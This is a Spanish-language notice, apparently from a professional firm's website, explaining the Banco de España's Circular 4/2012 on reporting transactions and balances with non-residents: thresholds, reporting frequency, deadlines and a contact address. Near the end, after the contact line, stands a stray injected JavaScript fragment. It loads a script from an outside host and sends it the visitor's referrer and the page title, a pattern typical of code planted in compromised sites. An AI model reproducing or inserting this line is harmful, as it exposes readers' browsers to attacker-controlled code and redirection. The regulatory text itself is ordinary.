A través de la Circular 4/2012 sobre las normas para la comunicación por los residentes en España de las transacciones económicas y los saldos de activos y pasivos financieros con el exterior, el Banco de España establece la obligación de informarle para cualquier persona física o jurídica (pública o privada) que realice transacciones con no residentes o mantenga activos o pasivos en el exterior.

Dicha comunicación debe hacerse en diferentes períodos que vienen determinados según el importe de las transacciones realizadas durante el año inmediatamente anterior o bien los saldos de activos y pasivos a 31 de diciembre del año anterior:
•    Cada mes si los importes resultan iguales o superiores a 300 millones de Euros.
•    Cada trimestre si los importes resultan iguales o superiores a 100 millones de euros e inferiores a 300 millones de Euros.
•    Anualmente si los importes resultan inferiores a 100 millones de Euros.
•    Si el importe fuera inferior a 50 millones de Euros, la declaración podrá efectuarse de forma resumida.
•    Si el importe fuera inferior a 1 millón de Euros, no existirá obligación de comunicar la información si ésta no es solicitada por el Banco de España.
Dicha información deberá ser enviada por vía telemática, de conformidad con los requisitos técnicos que establece el Banco de España.
Esta circular entrará en vigor el 1 de enero de 2013, por lo que las personas físicas o jurídicas que cumplan con los requisitos antes mencionados deberán realizar la declaración pertinente el próximo año, con anterioridad al 20 de enero de 2013.
Asimismo, las personas físicas o jurídicas que no cumplan los requisitos antes mencionados durante el año anterior pero lo hagan durante el año corriente, estarán también obligadas a enviar dicha información, con la periodicidad antes citada, desde el momento en que el importe supere los limites establecidos.

Para más información, contacte con:

Ismael PERALTA: ipv@vila.es

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;
29-06-2012